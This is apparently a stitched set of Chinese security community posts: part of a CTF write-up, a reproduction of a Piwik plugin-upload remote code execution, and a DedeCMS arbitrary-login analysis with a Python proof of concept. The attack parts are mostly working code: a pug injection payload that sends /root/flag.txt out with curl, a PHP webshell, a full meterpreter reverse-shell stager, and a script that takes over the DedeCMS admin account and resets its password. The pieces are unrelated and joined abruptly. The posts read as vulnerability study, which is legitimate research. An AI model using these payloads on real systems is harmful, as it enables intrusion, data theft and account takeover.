msg = sk.recv(1024).decode()
msg = sk.recv(1024).decode()
cipher = msg[10:msg.find('\n')]
print(cipher)
for i in range(8):
sk.send('1\n'.encode())
msg = sk.recv(1024).decode()
sk.send('1\n'.encode())
msg = sk.recv(1024).decode()
sk.send('a\n'.encode())
msg = sk.recv(1024).decode()
msg = sk.recv(1024).decode()
print(msg)
answer = input()
sk.send(answer.encode())
flag = sk.recv(1024).decode()
print(flag)
if __name__ == '__main__':
main()
flag{a722626d-0775-4976-bf3e-36ad965c031a}
### 3、crtrsa
exp：
from gmpy2 import *
e = 2953544268002866703872076551930953722572317122777861299293407053391808199220655289235983088986372630141821049118015752017412642148934113723174855236142887
n = 6006128121276172470274143101473619963750725942458450119252491144009018469845917986523007748831362674341219814935241703026024431390531323127620970750816983
c = 4082777468662493175049853412968913980472986215497247773911290709560282223053863513029985115855416847643274608394467813391117463817805000754191093158289399
for dp in range(1,1<<20):
a = 114514
p = gcd(pow(a,e*dp-1,n)-1,n)
if p != 1:
q = n / p
break
d = invert(e,(p-1)*(q-1))
print hex(pow(c,d,n))[2:].decode('hex')
flag{d67fde91-f6c0-484d-88a4-1778f7fa0c05}
## web
### 1、ezjs
随便输入写什么，都能登陆，登陆进去,,点击提交，出现可以query参数
?newimg=.%2Fimages%2F1.png
尝试发现任意文件读，同时根据报错信息，拿到入口文件index.js位置`/app/routes/index.js`
var express = require('express');
var router = express.Router();
var {body, validationResult} = require('express-validator');
var crypto = require('crypto');
var fs = require('fs');
var validator = [
body('*').trim(),
body('username').if(body('username').exists()).isLength({min: 5})
.withMessage("username is too short"),
body('password').if(body('password').exists()).isLength({min: 5})
.withMessage("password is too short"),(req, res, next) => {
const errors = validationResult(req)
if (!errors.isEmpty()) {
return res.status(400).render('msg', {title: 'error', msg: errors.array()[0].msg});
}
next()
}
];
router.use(validator);
router.get('/', function(req, res, next) {
return res.render('index', {title: "登录界面"});
});
router.post('/login', function(req, res, next) {
let username = req.body.username;
let password = req.body.password;
if (username !== undefined && password !== undefined) {
if (username == "admin" && password === crypto.randomBytes(32).toString('hex')) {
req.session.username = "admin";
} else if (username != "admin"){
req.session.username = username;
} else {
return res.render('msg',{title: 'error', msg: 'admin password error'});
}
return res.redirect('/verify');
}
return res.render('msg',{title: 'error',msg: 'plz input your username and password'});
});
router.get('/verify', function(req, res, next) {
console.log(req.session.username);
if (req.session.username === undefined) {
return res.render('msg', {title: 'error', msg: 'login first plz'});
}
if (req.session.username === "admin") {
req.session.isadmin = "admin";
} else {
req.session.isadmin = "notadmin";
}
return res.render('verify', {title: 'success', msg: 'verify success'});
});
router.get('/admin', function(req, res, next) {
//req.session.debug = true;
if (req.session.username !== undefined && req.session.isadmin !== undefined) {
if (req.query.newimg !== undefined) req.session.img = req.query.newimg;
var imgdata = fs.readFileSync(req.session.img? req.session.img: "./images/1.png");
var base64data = Buffer.from(imgdata, 'binary').toString('base64');
var info = {title: '我的空间', msg: req.session.username, png: "data:image/png;base64," + base64data, diy: "十年磨一剑😅v0.0.0(尚处于开发版"};
if (req.session.isadmin !== "notadmin") {
if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
if (req.query.diy !== undefined) req.session.diy = req.query.diy;
info.diy = req.session.diy ? req.session.diy: "尊贵的admin";
return res.render('admin', info);
} else {
return res.render('admin', info);
}
} else {
return res.render('msg', {title: 'error', msg: 'plz login first'});
}
});
module.exports = router;
还有hint文件
使用tac命令即可拿到flag，以及flag在/root/flag.txt
if (req.session.debug !== undefined && req.session.debug !== false) info.pretty = req.query.p;
以上代码也很可以，凭空整出一个p参数
查询得知 ，pretty存在代码注入漏洞，参考[Code injection vulnerability in visitMixin and
visitMixinBlock through “pretty” option
#3312](https://github.com/pugjs/pug/issues/3312)
但是，后面这个p参数要生效首先需要admin权限，即前面的判断条件
req.session.debug !== undefined && req.session.debug !== false
req.session.isadmin !== "notadmin"
都成立，这个判断条件的漏洞不符合常理，让这些量为已定义的空值就可以
查阅资料发现`express-validator`的特定版本中是存在原型链污染的，参考博客[express-validator 6.6.0
原型链污染分析](https://www.h5w3.com/199802.html)
**payload**
首先，任意登陆一个账户，保持会话，向`/login`发送post数据
"].__proto__["isadmin
再次发送
"].__proto__["debug
这样就能提升成为admin用户，然后向`/admin`路由发送query参数p，使用进行rce
');process.mainModule.constructor._load('child_process').exec('curl http://ip:port/?a=`tac /root/flag.txt|base64`');_=('
flag{d18fbbe1-6e32-4bbf-b076-f396f9961e49}
## pwn
### 1、mimic game
题目给了一个observer，原理是以mimic32作为子进程，另外从mimicpy,mimicgo两个程序中任选一个，也作为另一个子进程：
在mimic32里面发现了栈溢出的漏洞点：
看一下Mimic32开的保护：
所以可以直接用 ret2dlresolve:
注意最后因为不能直接用标准输出，所以要进行重定向: 1>$2
exp：
from pwn import *
# sh = process("./obs")
sh = remote("47.104.94.208", 33865)
libc = ELF("./libc-2.23.so.x86")
context.binary = elf = ELF('./mimic32')
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh 1>&2"])
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
# print raw_rop
payload = flat({48:raw_rop,80:dlresolve.payload})
print payload
print len(payload)
payload = '\x00'*48 + payload[48:]
sleep(0.1)
sh.sendline('1')
sleep(0.5)
sh.send(payload)
sh.interactive()
flag{mim1c_s_fl4g}
## Re
### 1、baby_maze
迷宫题，运行如下exp:
from idc import *
from idautils import *
def run_one(addr, paths, flag):
count = 0
found = False
to_handle_refs = []
for xref in XrefsTo(addr, 0):
count += 1
cur_fm = xref.frm
cur_start = idc.get_func_attr(cur_fm, FUNCATTR_START)
if cur_start not in paths:
fm = cur_fm
fun_start = cur_start
found = True
to_handle_refs.append((fm, fun_start))
if found:
rets = []
for fm, fun_start in to_handle_refs:
case_ea = fm - 5
comment = idc.get_cmt(case_ea, 1)
assert 'case' in comment
c = (chr(int(comment.split('case')[1])))
rets.append((c, fun_start))
return rets
return None
start = 0x54DE35
addr = start
paths = []
flag = ''
queue = [(addr, paths, flag)]
while len(queue) > 0:
new_queue = []
#print ('queue=%d, len=%d' %(len(queue), len(queue[0][2])))
for addr, paths, flag in queue:
#print ('%x' %(addr))
rets = run_one(addr, paths, flag)
#print ('ret=%s' %rets)
if rets is None:
continue
for c, next_fun in rets:
if next_fun == 0x40187c:
print ('succ:S%s' %(flag+c)[::-1])
continue
new_queue.append((next_fun, paths+[addr], flag+c))
queue = new_queue.copy()
import hashlib
print (hashlib.md5(b'SSSSSSSSSDDDDDDWWWWAAWWAAWWDDDDDDDDDDDDDDDDDDDDSSDDSSAASSSSAAAAWWAAWWWWAASSSSSSAASSDDSSSSDDWWWWDDSSDDDDWWDDDDDDWWAAAAWWDDDDWWAAWWWWDDSSDDSSSSSSSSSSDDDDSSAAAASSSSSSAASSSSAAWWAASSSSDDDDDDDDDDSSDDSSAASSSSAASSSSSSSSDDWWWWWWDDWWWWDDWWWWDDSSSSSSSSAASSSSDDDDSSDDDDWWDDSSDDSSDDDDDDDDSSDDSSSSDDDDSSDDSSSSSSDDSSSSDDDDSSSSDDDDDDSSSSDDSSDSSASSSSAASSDDSSAASSDDDDDDSSDDDDWWDDSSSSSSDDDDWWAAWWWWDDDDSSSSDDDDDDSSAASSSSSSDDDDDDDDSSDDDDSSSSSSDDWWDDDDDDSSSSSSSSAASSDDSSSSSSAASSDDS').hexdigest())
flag{078c8fbc1d0d033f663dcc58e899c101}
### 2、medical_app
感觉就一个RC4和一个XXtea
xx-tea脚本如下：
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9F5776B6
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main()
{
unsigned int v[9] = { 0x68e5973e,0xc20c7367,0x98afd41b,0xfe4b9de2,0x1a5b60b,0x3d36d646,0xdbcc7baf,0xa0414f00,0x762ce71a};
uint32_t const k[4]= {0x1,0x10,0x100,0x1000};
int n= 9; //n的绝对值表示v的长度，取正表示加密，取负表示解密
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
btea(v, -n, k);
unsigned char* yk= reinterpret_cast<unsigned char *>((char *) v);
for(int i=0;i<36;i++)
{
printf("%0.2x",*(yk+i));
}
return 0;
}
之后在线进行RC4解密
flag{194836950ae9df840e8a94348b901a} | 社区文章 |
### Author: 浮萍@猎户攻防实验室
**0x01 概述**
[Piwik](https://piwik.org/)是一个PHP和MySQL的开放源代码的Web统计软件.
它给你一些关于你的网站的实用统计报告，比如网页浏览人数, 访问最多的页面, 搜索引擎关键词等等。
Piwik拥有众多不同功能的插件，你可以添加新的功能或是移除你不需要的功能，Piwik同样可以安装在你的服务器上面，数据就保存在你自己的服务器上面。你可以非常容易的插入统计图表到你的博客或是网站抑或是后台的控制面板中。安装完成后，你只需将一小段代码放到将要统计的网页中即可。
在17年2月份[FireFart](https://firefart.at/post/turning_piwik_superuser_creds_into_rce/)报告了一个Piwik超级用户获取远程代码执行的漏洞。该漏洞通过利用构造插件，然后利用超级用户上传并激活，在激活插件时会执行插件中的PayLoad，从而获取shell。本文将介绍一下漏洞原理、环境的搭建、PayLoad的构造以及漏洞的复现过程，如有不足，请多多指教。
### **0x02 漏洞原理分析**
插件激活时请求的URL为：
http://192.168.217.1/piwik-3.0.1/index.php?module=CorePluginsAdmin&action=activate&idSite=1&period=day&date=yesterday&nonce=4fe9b3937078e06f3f24d45a53ee614c&pluginName=ff
代码定位到piwik-3.0.1\plugins\CorePluginsAdmin\Controller.php中的activate方法。
找到pluginManager调用的激活插件方法。
public function activate($redirectAfter = true)
{
$pluginName = $this->initPluginModification(static::ACTIVATE_NONCE);
$this->dieIfPluginsAdminIsDisabled();
$this->pluginManager->activatePlugin($pluginName);//激活插件
....
//省略部分代码
}
然后往上翻，找到pluginManager变量。
private $pluginManager;
....
//省略部分代码
$this->pluginManager = Plugin\Manager::getInstance();
.....
定位到piwik-3.0.1\core\Plugin\Manager.php文件，找到其activatePlugin方法。
public function activatePlugin($pluginName)
{
....
//省略部分代码
// Load plugin
$plugin = $this->loadPlugin($pluginName);
if ($plugin === null) {
throw new \Exception("The plugin '$pluginName' was found in the filesystem, but could not be loaded.'");
}
$this->installPluginIfNecessary($plugin);
$plugin->activate();
....
//省略部分代码
}
loadPlugin是根据插件名字加载，最后生成一个类对象，可以直接调用其中的方法，其代码如下：
public function loadPlugin($pluginName)
{
if (isset($this->loadedPlugins[$pluginName])) {
return $this->loadedPlugins[$pluginName];
}
$newPlugin = $this->makePluginClass($pluginName);
$this->addLoadedPlugin($pluginName, $newPlugin);
return $newPlugin;
}
installPluginIfNecessary方法是判断该插件是否安装，如果没有安装的话，调用executePluginInstall方法来安装，executePluginInstall方法执行了插件中的install()方法，然后再执行activate()方法。
由此可知，当激活插件时，会加载插件，将其生成为类对象。然后判断是否安装插件，如果没有安装，调用插件中的install()方法，再调用activate()方法。
接下来就开始搭建环境具体来实现一下。
**0x03 环境的搭建**
**1.准备工作**
主机：Windows10 x64
WEB环境：采用的是phpStudy集成环境（PHP/5.5.30，MySQL/5.5.47，Apache/2.4.18 ）
程序版本：[3.0.1](https://www.exploit-db.com/apps/cec6f1b03cc8ed4e62754919c5922d42-piwik-3.0.1.tar.gz)(也可以在<https://builds.piwik.org/>
下载)
**2.composer工具的安装**
下载地址：<https://getcomposer.org/Composer-Setup.exe>
下载后直接运行Composer-Setup.exe进行安装。
[
然后根据提示，继续下一步即可。
注意：安装时PHP应开启php_openssl扩展，不然会报错。
**3.Piwik程序的部署**
将下载下来的程序源码解压到phpStudy下的WWW目录。这里我项目名字为piwik-3.0.1。
在piwik-3.0.1目录下执行composer install命令来安装项目所依赖的代码库。
[
安装后在项目的根目录会出现一个vendor文件夹。
[
访问<http://192.168.217.1/piwik-3.0.1/> 开始进行安装
[
点击Next进行下一步安装。
数据库设置
[
超级用户设置
[
之后进行系统的设置，这里就省略过程了。
安装完成后访问<http://192.168.217.1/piwik-3.0.1/> 进行登陆。
[
用户名/密码为第五步中设置的超级用户。
**0x04 验证过程**
**1.漏洞产生原因及PayLoad的编写**
Piwik默认在3.0.3之前允许自定义插件上传，当插件被激活时，install方法会被调用，会执行其中编写的PayLoad。
如果我们编写一个名字叫做pwned的插件，其文件结构为：
pwned/
pwned/pwned.php
pwned/plugin.json
文件内容：
pwned.php
<?php
namespace Piwik\Plugins\pwned;
class pwned extends \Piwik\Plugin {
public function install()
{
//要执行的Payload
}
}
plugin.json
{
"name": "pwned",//插件名称
"description": "DESCRIPTION",//插件描述
"version": "1.0",//插件版本
"theme": false
}
然后将其压缩为zip格式的压缩文件。当插件上传后并被激活时，就会执行pwned.php中的payload。
**2.漏洞利用**
**PayLoad的准备**
修改上述的pwned.php代码，在install方法中添加写shell的代码。
<?php
namespace Piwik\Plugins\pwned;
class pwned extends \Piwik\Plugin {
public function install()
{
$myfile = fopen("shell.php", "w") or die("Unable to open file!");
$content = "<?eval(\$_POST['pass']);?>";
fwrite($myfile, $content);
}
}
plugin.json不用做过多的修改。
然后压缩为pwned.zip。
**PayLoad的利用**
利用创建的超级用户登陆，登陆后点击Administration或者访问
http://192.168.217.1/piwik-3.0.1/index.php?module=CoreAdminHome&action=home&idSite=1&period=day&date=yesterday
[
安装新插件
[
上传新插件
[
插件上传
[
插件上传成功
[
然后点击激活插件按钮
[
插件激活后，会在根目录生成一个shell.php
[
#### **3.利用Metasploit生成meterpreter会话**
上面的结果是写入了WEBSHELL，也可以采用piwik_superuser_plugin_upload直接生成一个meterpreter会话。
msf > use exploit/unix/webapp/piwik_superuser_plugin_upload
msf exploit(piwik_superuser_plugin_upload) >
msf exploit(piwik_superuser_plugin_upload) > set PASSWORD admin888
PASSWORD => admin888
msf exploit(piwik_superuser_plugin_upload) > set RHOST 192.168.217.1
RHOST => 192.168.217.1
msf exploit(piwik_superuser_plugin_upload) > set TARGETURI /piwik-3.0.1/
TARGETURI => /piwik-3.0.1/
msf exploit(piwik_superuser_plugin_upload) > set USERNAME admin
USERNAME => admin
msf exploit(piwik_superuser_plugin_upload) > exploit
[
[
利用Metasploit时有时候会不成功，或者是第一次成功之后无法再次复现。但是利用上传webshell可以成功。
**0x05 总结**
之前在3月份曾经遇到过类似的站点，然后本地搭建环境测试的时候，只顾着用Metasploit进测试，并没有出结果，就没继续下去了。最近又重新看了一下原理，然后实现并记录一下过程。
这里仅仅用3.0.1举例，根据[firefart](https://github.com/rapid7/metasploit-framework/pull/7917)说的影响版本2.14.0/2.16.0/2.17.1/3.0.1，其他并未测试。
Q:直接上传包含shell的压缩包可以吗？
A:可以上传成功，但在plugins目录下无法执行php代码。
[
Q:Payload中除了install()方法还可以写其他方法吗？
A:可以的。例如还有uninstall/deactivate/activate等方法，分别在卸载插件/关闭插件/激活插件的时候调用。例如如下的代码：
<?php
namespace Piwik\Plugins\ff;
class ff extends \Piwik\Plugin {
public function install()//安装插件，执行一次
{
$myfile = fopen("install.txt", "w") or die("Unable to open file!");
$content = "install ...";
fwrite($myfile, $content);
}
public function uninstall()//卸载插件，执行一次
{
$myfile = fopen("uninstall.txt", "w") or die("Unable to open file!");
$content = "uninstall ...";
fwrite($myfile, $content);
}
public function deactivate()//关闭插件，可以多次执行
{
$myfile = fopen("deactivate.txt", "w") or die("Unable to open file!");
$content = "deactivate ...";
fwrite($myfile, $content);
}
public function activate()//激活插件，可以多次执行
{
$myfile = fopen("activate.txt", "w") or die("Unable to open file!");
$content = "activate ...";
fwrite($myfile, $content);
}
}
Q:可以上传WEBSHELL，但是利用Metasploit无法生成meterpreter会话，还想反弹shell怎么办？
[
A:可以利用手动上传插件的方法，将其中的Payload修改为反弹shell的代码。
具体可以这样操作：
首先看看Metasploit利用的Payload是什么。
可以在generate_plugin方法中添加打印payload.encoded的语句，例如使用print_status("data:#{payload.encoded}")将其内容打印出来
[
然后使用reload_all重新加载脚本，并使用piwik_superuser_plugin_upload脚本，将会打印出来payload的内容
[
或者可以利用msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.131.128 LPORT=4444
-f raw >c.php来生成payload，内容一样
然后将生成的内容放在插件PHP代码中。整理格式后如下：
<?php
namespace Piwik\Plugins\pwned;
class pwned extends \Piwik\Plugin {
public function install()
{
error_reporting(0);
$ip = '192.168.131.128';
$port = 4444;
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port); $s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
} else {
die('no socket funcs');
} if (!$s) { die('no socket'); }
switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) { die(); }
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
}
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();
}
}
然后就是利用上传插件来上传插件并激活了。
[
看到结果是成功的，但是由于内存错误报错了，就不再继续下去了。
**0x06 参考**
[1]<https://firefart.at/post/turning_piwik_superuser_creds_into_rce/>
[2]<https://github.com/rapid7/metasploit-framework/pull/7917> | 社区文章 |
前面的登录思路是来源于——Joseph
后面的组合扩大攻击来源于——zxc
### 简述
Dedecms是一款开源的PHP开源网站管理系统。
DeDecms(织梦CMS) V5.7.72 正式版20180109 (最新版)
前台会员模块是采用Cookie中的 DedeUserID+DedeUserID__ckMd5字段进行身份鉴别
DedeUserID用于定位区别用户，DedeUserID__ckMd5则是服务器生成散列，用于安全验证
Dedecms一处代码由于逻辑不够严谨，导致可以输入字符并获得服务器生成散列
劫持DedeUserID__ckMd5字段，绕过安全校验，配合类型转换造成任意用户登录漏洞
### 漏洞详细原理
文件位置:dedecms/member/index.php:110行
require_once(DEDEMEMBER . '/inc/config_space.php');
if ($action == '') {
include_once(DEDEINC . "/channelunit.func.php");
$dpl = new DedeTemplate();
$tplfile = DEDEMEMBER . "/space/{$_vars['spacestyle']}/index.htm";
//更新最近访客记录及站点统计记录
$vtime = time();
$last_vtime = GetCookie('last_vtime');
$last_vid = GetCookie('last_vid');
if (empty($last_vtime)) {
$last_vtime = 0;
}
if ($vtime - $last_vtime > 3600 || !preg_match('#,' . $uid . ',#i', ',' . $last_vid . ',')) {
if ($last_vid != '') {
$last_vids = explode(',', $last_vid);
$i = 0;
$last_vid = $uid;
foreach ($last_vids as $lsid) {
if ($i > 10) {
break;
} else if ($lsid != $uid) {
$i++;
$last_vid .= ',' . $last_vid;
}
}
} else {
$last_vid = $uid;
}
PutCookie('last_vtime', $vtime, 3600 * 24, '/');
PutCookie('last_vid', $last_vid, 3600 * 24, '/');
这段函数中$uid是我们可控的，如果Cookie中last_vid字段不存在就会走进这个分支
} else {
$last_vid = $uid;
}
也就变为`$last_vid`可控，然后`$last_vid`经过`PutCookie`函数进行处理
### 顺便一提
文件位置：dedecms/include/helpers/cookie.helper.php
PutCookie这个函数是Dedecms在setcookie时封装的函数
GetCookie这个函数是Dedecms在获取Cookie中值封装的函数
如果Set一个键值对，PutCookie会Set两对Cookie，一个是要SET的键值对
另一个是值和key进行md5的哈希再截取前十六位的安全校验字符串(键名为`$key+'__ckMd5'`)
if ( ! function_exists('PutCookie'))
{
function PutCookie($key, $value, $kptime=0, $pa="/")
{
global $cfg_cookie_encode,$cfg_domain_cookie;
setcookie($key, $value, time()+$kptime, $pa,$cfg_domain_cookie);
setcookie($key.'__ckMd5', substr(md5($cfg_cookie_encode.$value),0,16), time()+$kptime, $pa,$cfg_domain_cookie);
}
}
GetCookie在返回键值之前，会通过PutCookie生成的十六位安全校验字符串对键值进行安全校验
确保获得的键值对有效且为服务器Set,增强安全性（但这里并不能抵御密文重放）
if ( ! function_exists('GetCookie'))
{
function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}
}
在`$last_vid`经过PutCookie函数进行处理后，我们已经在Cookie可以获得校验哈希，绕过安全校验
### Payload注入点
文件位置:dedecms/include/memberlogin.class.php:161行
function __construct($kptime = -1, $cache=FALSE)
{
global $dsql;
if($kptime==-1){
$this->M_KeepTime = 3600 * 24 * 7;
}else{
$this->M_KeepTime = $kptime;
}
$formcache = FALSE;
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
$this->M_LoginTime = GetCookie("DedeLoginTime");
$this->fields = array();
$this->isAdmin = FALSE;
if(empty($this->M_ID))
{
$this->ResetUser();
}else{
$this->M_ID = intval($this->M_ID);
if ($cache)
{
$this->fields = GetCache($this->memberCache, $this->M_ID);
if( empty($this->fields) )
{
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
} else {
$formcache = TRUE;
}
} else {
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
}
if(is_array($this->fields)){
#api{{
if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
{
if($data = uc_get_user($this->fields['userid']))
{
if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
{
$this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
$dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
}
}
}
#/aip}}
//间隔一小时更新一次用户登录时间
if(time() - $this->M_LoginTime > 3600)
{
$dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
}
$this->M_LoginID = $this->fields['userid'];
$this->M_MbType = $this->fields['mtype'];
$this->M_Money = $this->fields['money'];
$this->M_UserName = FormatUsername($this->fields['uname']);
$this->M_Scores = $this->fields['scores'];
$this->M_Face = $this->fields['face'];
$this->M_Rank = $this->fields['rank'];
$this->M_Spacesta = $this->fields['spacesta'];
$sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
$scrow = $dsql->GetOne($sql);
$this->fields['honor'] = $scrow['titles'];
$this->M_Honor = $this->fields['honor'];
if($this->fields['matt']==10) $this->isAdmin = TRUE;
$this->M_UpTime = $this->fields['uptime'];
$this->M_ExpTime = $this->fields['exptime'];
$this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
if($this->M_Rank>10 && $this->M_UpTime>0){
$this->M_HasDay = $this->Judgemember();
}
if( !$formcache )
{
SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
}
}else{
$this->ResetUser();
}
}
}
我们注入0000001(注册账户的账户名)和对应的`__ckMd5`校验值
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
这里必须注册名0000001为的账户，不然没法通过另一个校验页面（校验账户是否存在）
文件位置：dedecms/member/inc/config_space.php
if(!is_array($_vars))
{
ShowMsg("你访问的用户可能已经被删除！","javascript:;");
exit();
}
`$this->M_ID`赋值后变为0000001，然后巧妙地经过intval类型转换，变为1，也就是admin的id，也可以是任意用户的id
$this->M_ID = intval($this->M_ID);
然后带入了SQL查询语句，然后使用查询结果对登录信息进行赋值，造成任意用户登录。
else {
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
}
if(is_array($this->fields)){
#api{{
if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
{
if($data = uc_get_user($this->fields['userid']))
{
if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
{
$this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
$dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
}
}
}
#/aip}}
//间隔一小时更新一次用户登录时间
if(time() - $this->M_LoginTime > 3600)
{
$dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
}
$this->M_LoginID = $this->fields['userid'];
$this->M_MbType = $this->fields['mtype'];
$this->M_Money = $this->fields['money'];
$this->M_UserName = FormatUsername($this->fields['uname']);
$this->M_Scores = $this->fields['scores'];
$this->M_Face = $this->fields['face'];
$this->M_Rank = $this->fields['rank'];
$this->M_Spacesta = $this->fields['spacesta'];
$sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
$scrow = $dsql->GetOne($sql);
$this->fields['honor'] = $scrow['titles'];
$this->M_Honor = $this->fields['honor'];
if($this->fields['matt']==10) $this->isAdmin = TRUE;
$this->M_UpTime = $this->fields['uptime'];
$this->M_ExpTime = $this->fields['exptime'];
$this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
# 漏洞演示
①注册0000001账户（用于登录admin,其他账户类推）
②注入Payload并获安全校验值
③
**漏洞更深入(管理员密码重置)**
①利用之前的老漏洞重置admin的密码，这时只重置了member表里面的admin密码
②利用现在这个漏洞登录admin,然后访问member/edit_baseinfo.php页面，member/edit_baseinfo.php中的修改信息的老密码判断是跟member表进行对比，刚好被我们上面步骤①重置了
③满足条件后，修改密码的时候会同时修改admin.member两张表的密码
文件位置:dedecms/member/edit_baseinfo.php:109行
if( !in_array($sex, array('男','女','保密')) )
{
ShowMsg('请选择正常的性别！','-1');
exit();
}
$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query1);
//如果是管理员，修改其后台密码
if($cfg_ml->fields['matt']==10 && $pwd2!="")
{
$query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."' ";
$dsql->ExecuteNoneQuery($query2);
}
// 清除会员缓存
$cfg_ml->DelCache($cfg_ml->M_ID);
ShowMsg('成功更新你的基本资料！','edit_baseinfo.php',0,5000);
exit();
### POC
# coding=utf-8
import requests
import re
if __name__ == "__main__":
dede_host = "http://127.0.0.1/"
oldpwd = '123456'
newpwd = "cnvdcnvd"
s = requests.Session()
if '系统关闭了会员功能' in requests.get(dede_host + 'member/reg_new.php').content:
exit('The system has closed the member function .Can not attack !!!')
else:
print "The system opened the membership function, I wish you good luck !!"
headers = {"Referer": dede_host + "member/reg_new.php"}
rs = s.get(dede_host + 'include/vdimgck.php').content
file = open('1.jpg', "wb")
file.write(rs)
file.close()
vdcode = raw_input("Please enter the registration verification code : ")
userid = '0000001'
uname = '0000001'
userpwd = '123456'
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0)",
"Content-Type": "application/x-www-form-urlencoded"}
data = "dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid={userid}&uname={uname}&userpwd={userpwd}&userpwdok={userpwd}&email=0000001%400000001.com&safequestion=0&safeanswer=&sex=%E7%94%B7&vdcode={vdcode}&agree=".format(
userid=userid, uname=uname, userpwd=userpwd, vdcode=vdcode)
rs = s.post(dede_host + '/member/reg_new.php', data=data, headers=headers)
if "验证码错误" in rs.content:
exit("Verification code error, account registration failed")
elif '注册成功' in rs.content:
print 'registration success !!'
rs = s.get(dede_host + "/member/index.php?uid={userid}".format(userid=userid))
if "资料尚未通过审核" in rs.content:
exit("User information has not been approved !!!") # 会员使用权限开通状态(-10 邮件验证 -1 手工审核, 0 没限制)：
searchObj = re.search(r'last_vid__ckMd5=(.*?);', rs.headers['Set-Cookie'], re.M | re.I)
last_vid__ckMd5 = searchObj.group(1)
s.cookies['DedeUserID'] = userid
s.cookies['DedeUserID__ckMd5'] = last_vid__ckMd5
rs = s.get(dede_host + "/member/index.php")
if "class=\"userName\">admin</a>" in rs.text:
print "Administrator login successful !!"
headers = {"Referer": dede_host + "member/edit_baseinfo.php"}
rs = s.get(dede_host + 'include/vdimgck.php').content
file = open('2.jpg', "wb")
file.write(rs)
file.close()
vdcode = raw_input("Please enter the verification code : ")
data = {"dopost": "save", "uname": "admin", "oldpwd": oldpwd, "userpwd": newpwd, "userpwdok": newpwd,
"safequestion": "0", "newsafequestion": "0", "sex": "男", "email": "[email protected]", "vdcode": vdcode}
rs = s.post(dede_host + '/member/edit_baseinfo.php', data=data)
if "成功更新你的基本资料" in rs.content:
print "Administrator password modified successfully !!"
print "The new administrator password is : " + newpwd
else:
print "attack fail" | 社区文章 |
# Part I: 攻击面
## 恶意软件的发展
